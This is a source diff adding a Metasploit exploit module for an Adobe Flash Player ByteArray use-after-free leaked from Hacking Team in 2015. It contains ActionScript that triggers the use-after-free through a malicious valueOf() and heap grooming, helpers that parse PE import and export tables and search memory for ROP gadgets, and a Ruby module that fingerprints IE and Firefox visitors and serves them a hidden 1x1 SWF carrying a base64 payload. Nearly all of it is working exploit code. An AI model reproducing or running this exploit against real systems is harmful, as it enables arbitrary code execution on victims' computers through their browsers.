external/source/exploits/hacking_team/Logger.as
vendored
Executable file
32
external/source/exploits/hacking_team/Logger.as
vendored
Executable file
@ -0,0 +1,32 @@
|
||||
package
|
||||
{
|
||||
import flash.external.ExternalInterface
|
||||
|
||||
public class Logger {
|
||||
private static const DEBUG:uint = 0
|
||||
|
||||
public static function alert(msg:String):void
|
||||
{
|
||||
var str:String = "";
|
||||
|
||||
if (DEBUG == 1)
|
||||
str += msg;
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("alert", str);
|
||||
}
|
||||
}
|
||||
|
||||
public static function log(msg:String):void
|
||||
{
|
||||
var str:String = "";
|
||||
|
||||
if (DEBUG == 1)
|
||||
str += msg;
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("console.log", str);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
93
external/source/exploits/hacking_team/MyClass.as
vendored
Executable file
93
external/source/exploits/hacking_team/MyClass.as
vendored
Executable file
@ -0,0 +1,93 @@
|
||||
package
|
||||
{
|
||||
import flash.display.DisplayObjectContainer;
|
||||
import flash.utils.ByteArray;
|
||||
import flash.system.Capabilities;
|
||||
import flash.events.MouseEvent;
|
||||
import flash.external.ExternalInterface;
|
||||
|
||||
public class MyClass
|
||||
{
|
||||
static var
|
||||
_gc:Array,
|
||||
_va:Array,
|
||||
_ba:ByteArray,
|
||||
_isDbg:Boolean = Capabilities.isDebugger;
|
||||
|
||||
// define malicious valueOf()
|
||||
prototype.valueOf = function ()
|
||||
{
|
||||
Logger.log("MyClass.valueOf()");
|
||||
|
||||
_va = new Array(5);
|
||||
_gc.push(_va); // protect from GC // for RnD
|
||||
|
||||
// reallocate _ba storage
|
||||
_ba.length = 0x1100;
|
||||
|
||||
// reuse freed memory
|
||||
for(var i:int; i < _va.length; i++)
|
||||
_va[i] = new Vector.<uint>(0x3f0);
|
||||
|
||||
// return one byte for overwriting
|
||||
return 0x40;
|
||||
}
|
||||
|
||||
// try to corrupt the length value of Vector.<uint>
|
||||
static function TryExpl(e:Exploit, platform:String, os:String, payload:ByteArray) : Boolean
|
||||
{
|
||||
Logger.log("tryexpl")
|
||||
try
|
||||
{
|
||||
var alen:int = 90; // should be multiply of 3
|
||||
var a = new Array(alen);
|
||||
if (_gc == null) _gc = new Array();
|
||||
_gc.push(a); // protect from GC // for RnD
|
||||
|
||||
// try to allocate two sequential pages of memory: [ ByteArray ][ MyClass2 ]
|
||||
for(var i:int; i < alen; i+=3){
|
||||
a[i] = new MyClass2(i);
|
||||
|
||||
a[i+1] = new ByteArray();
|
||||
a[i+1].length = 0xfa0;
|
||||
|
||||
a[i+2] = new MyClass2(i+2);
|
||||
}
|
||||
|
||||
// find these pages
|
||||
var v:Vector.<uint>;
|
||||
for(i=alen-5; i >= 0; i-=3)
|
||||
{
|
||||
// take next allocated ByteArray
|
||||
_ba = a[i];
|
||||
// call valueOf() and cause UaF memory corruption
|
||||
_ba[3] = new MyClass();
|
||||
// _ba[3] should be unchanged 0
|
||||
Logger.log("_ba[3] = " + _ba[3]);
|
||||
if (_ba[3] != 0) throw new Error("can't cause UaF");
|
||||
|
||||
// check results // find corrupted vector
|
||||
for(var j:int=0; j < _va.length; j++){
|
||||
v = _va[j];
|
||||
if (v.length != 0x3f0) {
|
||||
Logger.log("v.length = 0x" + v.length.toString(16));
|
||||
var exploiter:Exploiter = new Exploiter(e, platform, os, payload, v, 0x3f0)
|
||||
Logger.log("v.length = 0x" + v.length.toString(16));
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Logger.log("bad allocation. try again.");
|
||||
}
|
||||
catch (e:Error)
|
||||
{
|
||||
Logger.log("TryExpl() " + e.toString());
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
9
external/source/exploits/hacking_team/MyClass1.as
vendored
Executable file
9
external/source/exploits/hacking_team/MyClass1.as
vendored
Executable file
@ -0,0 +1,9 @@
|
||||
package
|
||||
{
|
||||
import flash.utils.ByteArray;
|
||||
|
||||
class MyClass1 extends ByteArray
|
||||
{
|
||||
var o1:Object, o2:Object, o3:Object, o4:Object;
|
||||
}
|
||||
}
|
115
external/source/exploits/hacking_team/MyClass2.as
vendored
Executable file
115
external/source/exploits/hacking_team/MyClass2.as
vendored
Executable file
@ -0,0 +1,115 @@
|
||||
package
|
||||
{
|
||||
class MyClass2 extends MyClass1
|
||||
{
|
||||
var
|
||||
// enlarge the MyClass2 size by dummy attributes
|
||||
a0 :uint, a1 :uint, a2 :uint, a3 :uint, a4 :uint, a5 :uint, a6 :uint, a7 :uint, a8 :uint, a9 :uint,
|
||||
a10:uint, a11:uint, a12:uint, a13:uint, a14:uint, a15:uint, a16:uint, a17:uint, a18:uint, a19:uint,
|
||||
a20:uint, a21:uint, a22:uint, a23:uint, a24:uint, a25:uint, a26:uint, a27:uint, a28:uint, a29:uint,
|
||||
a30:uint, a31:uint, a32:uint, a33:uint, a34:uint, a35:uint, a36:uint, a37:uint, a38:uint, a39:uint,
|
||||
a40:uint, a41:uint, a42:uint, a43:uint, a44:uint, a45:uint, a46:uint, a47:uint, a48:uint, a49:uint,
|
||||
a50:uint, a51:uint, a52:uint, a53:uint, a54:uint, a55:uint, a56:uint, a57:uint, a58:uint, a59:uint,
|
||||
a60:uint, a61:uint, a62:uint, a63:uint, a64:uint, a65:uint, a66:uint, a67:uint, a68:uint, a69:uint,
|
||||
a70:uint, a71:uint, a72:uint, a73:uint, a74:uint, a75:uint, a76:uint, a77:uint, a78:uint, a79:uint,
|
||||
a80:uint, a81:uint, a82:uint, a83:uint, a84:uint, a85:uint, a86:uint, a87:uint, a88:uint, a89:uint,
|
||||
a90:uint, a91:uint, a92:uint, a93:uint, a94:uint, a95:uint, a96:uint, a97:uint, a98:uint, a99:uint,
|
||||
|
||||
a100:uint, a101:uint, a102:uint, a103:uint, a104:uint, a105:uint, a106:uint, a107:uint, a108:uint, a109:uint,
|
||||
a110:uint, a111:uint, a112:uint, a113:uint, a114:uint, a115:uint, a116:uint, a117:uint, a118:uint, a119:uint,
|
||||
a120:uint, a121:uint, a122:uint, a123:uint, a124:uint, a125:uint, a126:uint, a127:uint, a128:uint, a129:uint,
|
||||
a130:uint, a131:uint, a132:uint, a133:uint, a134:uint, a135:uint, a136:uint, a137:uint, a138:uint, a139:uint,
|
||||
a140:uint, a141:uint, a142:uint, a143:uint, a144:uint, a145:uint, a146:uint, a147:uint, a148:uint, a149:uint,
|
||||
a150:uint, a151:uint, a152:uint, a153:uint, a154:uint, a155:uint, a156:uint, a157:uint, a158:uint, a159:uint,
|
||||
a160:uint, a161:uint, a162:uint, a163:uint, a164:uint, a165:uint, a166:uint, a167:uint, a168:uint, a169:uint,
|
||||
a170:uint, a171:uint, a172:uint, a173:uint, a174:uint, a175:uint, a176:uint, a177:uint, a178:uint, a179:uint,
|
||||
a180:uint, a181:uint, a182:uint, a183:uint, a184:uint, a185:uint, a186:uint, a187:uint, a188:uint, a189:uint,
|
||||
a190:uint, a191:uint, a192:uint, a193:uint, a194:uint, a195:uint, a196:uint, a197:uint, a198:uint, a199:uint,
|
||||
|
||||
a200:uint, a201:uint, a202:uint, a203:uint, a204:uint, a205:uint, a206:uint, a207:uint, a208:uint, a209:uint,
|
||||
a210:uint, a211:uint, a212:uint, a213:uint, a214:uint, a215:uint, a216:uint, a217:uint, a218:uint, a219:uint,
|
||||
a220:uint, a221:uint, a222:uint, a223:uint, a224:uint, a225:uint, a226:uint, a227:uint, a228:uint, a229:uint,
|
||||
a230:uint, a231:uint, a232:uint, a233:uint, a234:uint, a235:uint, a236:uint, a237:uint, a238:uint, a239:uint,
|
||||
a240:uint, a241:uint, a242:uint, a243:uint, a244:uint, a245:uint, a246:uint, a247:uint, a248:uint, a249:uint,
|
||||
a250:uint, a251:uint, a252:uint, a253:uint, a254:uint, a255:uint, a256:uint, a257:uint, a258:uint, a259:uint,
|
||||
a260:uint, a261:uint, a262:uint, a263:uint, a264:uint, a265:uint, a266:uint, a267:uint, a268:uint, a269:uint,
|
||||
a270:uint, a271:uint, a272:uint, a273:uint, a274:uint, a275:uint, a276:uint, a277:uint, a278:uint, a279:uint,
|
||||
a280:uint, a281:uint, a282:uint, a283:uint, a284:uint, a285:uint, a286:uint, a287:uint, a288:uint, a289:uint,
|
||||
a290:uint, a291:uint, a292:uint, a293:uint, a294:uint, a295:uint, a296:uint, a297:uint, a298:uint, a299:uint,
|
||||
|
||||
a300:uint, a301:uint, a302:uint, a303:uint, a304:uint, a305:uint, a306:uint, a307:uint, a308:uint, a309:uint,
|
||||
a310:uint, a311:uint, a312:uint, a313:uint, a314:uint, a315:uint, a316:uint, a317:uint, a318:uint, a319:uint,
|
||||
a320:uint, a321:uint, a322:uint, a323:uint, a324:uint, a325:uint, a326:uint, a327:uint, a328:uint, a329:uint,
|
||||
a330:uint, a331:uint, a332:uint, a333:uint, a334:uint, a335:uint, a336:uint, a337:uint, a338:uint, a339:uint,
|
||||
a340:uint, a341:uint, a342:uint, a343:uint, a344:uint, a345:uint, a346:uint, a347:uint, a348:uint, a349:uint,
|
||||
a350:uint, a351:uint, a352:uint, a353:uint, a354:uint, a355:uint, a356:uint, a357:uint, a358:uint, a359:uint,
|
||||
a360:uint, a361:uint, a362:uint, a363:uint, a364:uint, a365:uint, a366:uint, a367:uint, a368:uint, a369:uint,
|
||||
a370:uint, a371:uint, a372:uint, a373:uint, a374:uint, a375:uint, a376:uint, a377:uint, a378:uint, a379:uint,
|
||||
a380:uint, a381:uint, a382:uint, a383:uint, a384:uint, a385:uint, a386:uint, a387:uint, a388:uint, a389:uint,
|
||||
a390:uint, a391:uint, a392:uint, a393:uint, a394:uint, a395:uint, a396:uint, a397:uint, a398:uint, a399:uint,
|
||||
|
||||
a400:uint, a401:uint, a402:uint, a403:uint, a404:uint, a405:uint, a406:uint, a407:uint, a408:uint, a409:uint,
|
||||
a410:uint, a411:uint, a412:uint, a413:uint, a414:uint, a415:uint, a416:uint, a417:uint, a418:uint, a419:uint,
|
||||
a420:uint, a421:uint, a422:uint, a423:uint, a424:uint, a425:uint, a426:uint, a427:uint, a428:uint, a429:uint,
|
||||
a430:uint, a431:uint, a432:uint, a433:uint, a434:uint, a435:uint, a436:uint, a437:uint, a438:uint, a439:uint,
|
||||
a440:uint, a441:uint, a442:uint, a443:uint, a444:uint, a445:uint, a446:uint, a447:uint, a448:uint, a449:uint,
|
||||
a450:uint, a451:uint, a452:uint, a453:uint, a454:uint, a455:uint, a456:uint, a457:uint, a458:uint, a459:uint,
|
||||
a460:uint, a461:uint, a462:uint, a463:uint, a464:uint, a465:uint, a466:uint, a467:uint, a468:uint, a469:uint,
|
||||
a470:uint, a471:uint, a472:uint, a473:uint, a474:uint, a475:uint, a476:uint, a477:uint, a478:uint, a479:uint,
|
||||
a480:uint, a481:uint, a482:uint, a483:uint, a484:uint, a485:uint, a486:uint, a487:uint, a488:uint, a489:uint,
|
||||
a490:uint, a491:uint, a492:uint, a493:uint, a494:uint, a495:uint, a496:uint, a497:uint, a498:uint, a499:uint,
|
||||
|
||||
a500:uint, a501:uint, a502:uint, a503:uint, a504:uint, a505:uint, a506:uint, a507:uint, a508:uint, a509:uint,
|
||||
a510:uint, a511:uint, a512:uint, a513:uint, a514:uint, a515:uint, a516:uint, a517:uint, a518:uint, a519:uint,
|
||||
a520:uint, a521:uint, a522:uint, a523:uint, a524:uint, a525:uint, a526:uint, a527:uint, a528:uint, a529:uint,
|
||||
a530:uint, a531:uint, a532:uint, a533:uint, a534:uint, a535:uint, a536:uint, a537:uint, a538:uint, a539:uint,
|
||||
a540:uint, a541:uint, a542:uint, a543:uint, a544:uint, a545:uint, a546:uint, a547:uint, a548:uint, a549:uint,
|
||||
a550:uint, a551:uint, a552:uint, a553:uint, a554:uint, a555:uint, a556:uint, a557:uint, a558:uint, a559:uint,
|
||||
a560:uint, a561:uint, a562:uint, a563:uint, a564:uint, a565:uint, a566:uint, a567:uint, a568:uint, a569:uint,
|
||||
a570:uint, a571:uint, a572:uint, a573:uint, a574:uint, a575:uint, a576:uint, a577:uint, a578:uint, a579:uint,
|
||||
a580:uint, a581:uint, a582:uint, a583:uint, a584:uint, a585:uint, a586:uint, a587:uint, a588:uint, a589:uint,
|
||||
a590:uint, a591:uint, a592:uint, a593:uint, a594:uint, a595:uint, a596:uint, a597:uint, a598:uint, a599:uint,
|
||||
|
||||
a600:uint, a601:uint, a602:uint, a603:uint, a604:uint, a605:uint, a606:uint, a607:uint, a608:uint, a609:uint,
|
||||
a610:uint, a611:uint, a612:uint, a613:uint, a614:uint, a615:uint, a616:uint, a617:uint, a618:uint, a619:uint,
|
||||
a620:uint, a621:uint, a622:uint, a623:uint, a624:uint, a625:uint, a626:uint, a627:uint, a628:uint, a629:uint,
|
||||
a630:uint, a631:uint, a632:uint, a633:uint, a634:uint, a635:uint, a636:uint, a637:uint, a638:uint, a639:uint,
|
||||
a640:uint, a641:uint, a642:uint, a643:uint, a644:uint, a645:uint, a646:uint, a647:uint, a648:uint, a649:uint,
|
||||
a650:uint, a651:uint, a652:uint, a653:uint, a654:uint, a655:uint, a656:uint, a657:uint, a658:uint, a659:uint,
|
||||
a660:uint, a661:uint, a662:uint, a663:uint, a664:uint, a665:uint, a666:uint, a667:uint, a668:uint, a669:uint,
|
||||
a670:uint, a671:uint, a672:uint, a673:uint, a674:uint, a675:uint, a676:uint, a677:uint, a678:uint, a679:uint,
|
||||
a680:uint, a681:uint, a682:uint, a683:uint, a684:uint, a685:uint, a686:uint, a687:uint, a688:uint, a689:uint,
|
||||
a690:uint, a691:uint, a692:uint, a693:uint, a694:uint, a695:uint, a696:uint, a697:uint, a698:uint, a699:uint,
|
||||
|
||||
a700:uint, a701:uint, a702:uint, a703:uint, a704:uint, a705:uint, a706:uint, a707:uint, a708:uint, a709:uint,
|
||||
a710:uint, a711:uint, a712:uint, a713:uint, a714:uint, a715:uint, a716:uint, a717:uint, a718:uint, a719:uint,
|
||||
a720:uint, a721:uint, a722:uint, a723:uint, a724:uint, a725:uint, a726:uint, a727:uint, a728:uint, a729:uint,
|
||||
a730:uint, a731:uint, a732:uint, a733:uint, a734:uint, a735:uint, a736:uint, a737:uint, a738:uint, a739:uint,
|
||||
a740:uint, a741:uint, a742:uint, a743:uint, a744:uint, a745:uint, a746:uint, a747:uint, a748:uint, a749:uint,
|
||||
a750:uint, a751:uint, a752:uint, a753:uint, a754:uint, a755:uint, a756:uint, a757:uint, a758:uint, a759:uint,
|
||||
a760:uint, a761:uint, a762:uint, a763:uint, a764:uint, a765:uint, a766:uint, a767:uint, a768:uint, a769:uint,
|
||||
a770:uint, a771:uint, a772:uint, a773:uint, a774:uint, a775:uint, a776:uint, a777:uint, a778:uint, a779:uint,
|
||||
a780:uint, a781:uint, a782:uint, a783:uint, a784:uint, a785:uint, a786:uint, a787:uint, a788:uint, a789:uint,
|
||||
a790:uint, a791:uint, a792:uint, a793:uint, a794:uint, a795:uint, a796:uint, a797:uint, a798:uint, a799:uint,
|
||||
|
||||
a800:uint, a801:uint, a802:uint, a803:uint, a804:uint, a805:uint, a806:uint, a807:uint, a808:uint, a809:uint,
|
||||
a810:uint, a811:uint, a812:uint, a813:uint, a814:uint, a815:uint, a816:uint, a817:uint, a818:uint, a819:uint,
|
||||
a820:uint, a821:uint, a822:uint, a823:uint, a824:uint, a825:uint, a826:uint, a827:uint, a828:uint, a829:uint,
|
||||
a830:uint, a831:uint, a832:uint, a833:uint, a834:uint, a835:uint, a836:uint, a837:uint, a838:uint, a839:uint,
|
||||
a840:uint, a841:uint, a842:uint, a843:uint, a844:uint, a845:uint, a846:uint, a847:uint, a848:uint, a849:uint,
|
||||
a850:uint, a851:uint, a852:uint, a853:uint, a854:uint, a855:uint, a856:uint, a857:uint, a858:uint, a859:uint,
|
||||
a860:uint, a861:uint, a862:uint, a863:uint, a864:uint, a865:uint, a866:uint, a867:uint, a868:uint, a869:uint,
|
||||
a870:uint, a871:uint, a872:uint, a873:uint, a874:uint, a875:uint, a876:uint, a877:uint, a878:uint, a879:uint,
|
||||
a880:uint, a881:uint, a882:uint, a883:uint, a884:uint, a885:uint, a886:uint, a887:uint, a888:uint, a889:uint,
|
||||
a890:uint, a891:uint, a892:uint, a893:uint, a894:uint, a895:uint, a896:uint, a897:uint, a898:uint, a899:uint
|
||||
|
||||
|
||||
// constructor
|
||||
function MyClass2(id:int)
|
||||
{
|
||||
o1 = this;
|
||||
a0 = id;
|
||||
for(var i:int=1; i < 64; i++) this["a"+i] = 0x11223344;
|
||||
}
|
||||
}
|
||||
}
|
72
external/source/exploits/hacking_team/PE.as
vendored
Executable file
72
external/source/exploits/hacking_team/PE.as
vendored
Executable file
@ -0,0 +1,72 @@
|
||||
package
|
||||
{
|
||||
public class PE
|
||||
{
|
||||
private var eba:ExploitByteArray
|
||||
|
||||
public function PE(ba:ExploitByteArray)
|
||||
{
|
||||
eba = ba
|
||||
}
|
||||
|
||||
public function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (eba.read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
public function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
|
||||
var mod_name:String
|
||||
|
||||
while (true) {
|
||||
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
mod_name = eba.read_string(addr + entry, name.length)
|
||||
if (mod_name.toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
|
||||
}
|
||||
|
||||
public function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = eba.read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + eba.read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
|
||||
var proc_name:String
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = eba.read(addressOfNames + i * 4)
|
||||
proc_name = eba.read_string(addr + entry, name.length + 2)
|
||||
if (proc_name.toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var contents:uint = 0
|
||||
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
|
||||
for (var i:uint = 0; i < limit - 4; i++) {
|
||||
contents = eba.read(addr + i)
|
||||
if (hint == 0xffffffff && value == contents) {
|
||||
return addr + i
|
||||
}
|
||||
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
143
modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb
Normal file
143
modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb
Normal file
@ -0,0 +1,143 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Adobe Flash Player ByteArray Use After Free',
|
||||
'Description' => %q{
|
||||
This module exploits an use after free on Adobe Flash Player. The vulnerability,
|
||||
discovered by Hacking Team and made public on its July 2015 data leak, was
|
||||
described as an Use After Free while handling ByteArray objects. This module has
|
||||
been tested successfully on:
|
||||
|
||||
Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194,
|
||||
Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194,
|
||||
Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Someone from HackingTeam
|
||||
'juan vazquez' # msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/unpatched-flash-player-flaws-more-pocs-found-in-hacking-team-leak/'],
|
||||
['URL', 'https://twitter.com/w3bd3vil/status/618168863708962816']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => ['win', 'linux'],
|
||||
'Arch' => [ARCH_X86],
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:arch => ARCH_X86,
|
||||
:os_name => lambda do |os|
|
||||
os =~ OperatingSystems::Match::LINUX ||
|
||||
os =~ OperatingSystems::Match::WINDOWS_7
|
||||
end,
|
||||
:ua_name => lambda do |ua|
|
||||
case target.name
|
||||
when 'Windows'
|
||||
return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF
|
||||
when 'Linux'
|
||||
return true if ua == Msf::HttpClients::FF
|
||||
end
|
||||
|
||||
false
|
||||
end,
|
||||
:flash => lambda do |ver|
|
||||
case target.name
|
||||
when 'Windows'
|
||||
return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.194')
|
||||
when 'Linux'
|
||||
return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.468')
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows',
|
||||
{
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
[ 'Linux',
|
||||
{
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Jul 06 2015',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def exploit
|
||||
@swf = create_swf
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_status("Request: #{request.uri}")
|
||||
|
||||
if request.uri =~ /\.swf$/
|
||||
print_status('Sending SWF...')
|
||||
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
|
||||
return
|
||||
end
|
||||
|
||||
print_status('Sending HTML...')
|
||||
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
|
||||
end
|
||||
|
||||
def exploit_template(cli, target_info)
|
||||
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
|
||||
target_payload = get_payload(cli, target_info)
|
||||
b64_payload = Rex::Text.encode_base64(target_payload)
|
||||
os_name = target_info[:os_name]
|
||||
|
||||
if target.name =~ /Windows/
|
||||
platform_id = 'win'
|
||||
elsif target.name =~ /Linux/
|
||||
platform_id = 'linux'
|
||||
end
|
||||
|
||||
html_template = %Q|<html>
|
||||
<body>
|
||||
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
|
||||
<param name="movie" value="<%=swf_random%>" />
|
||||
<param name="allowScriptAccess" value="always" />
|
||||
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
|
||||
<param name="Play" value="true" />
|
||||
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
|
||||
</object>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html_template, binding()
|
||||
end
|
||||
|
||||
def create_swf
|
||||
path = ::File.join(Msf::Config.data_directory, 'exploits', 'hacking_team', 'msf.swf')
|
||||
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||
|
||||
swf
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue
Block a user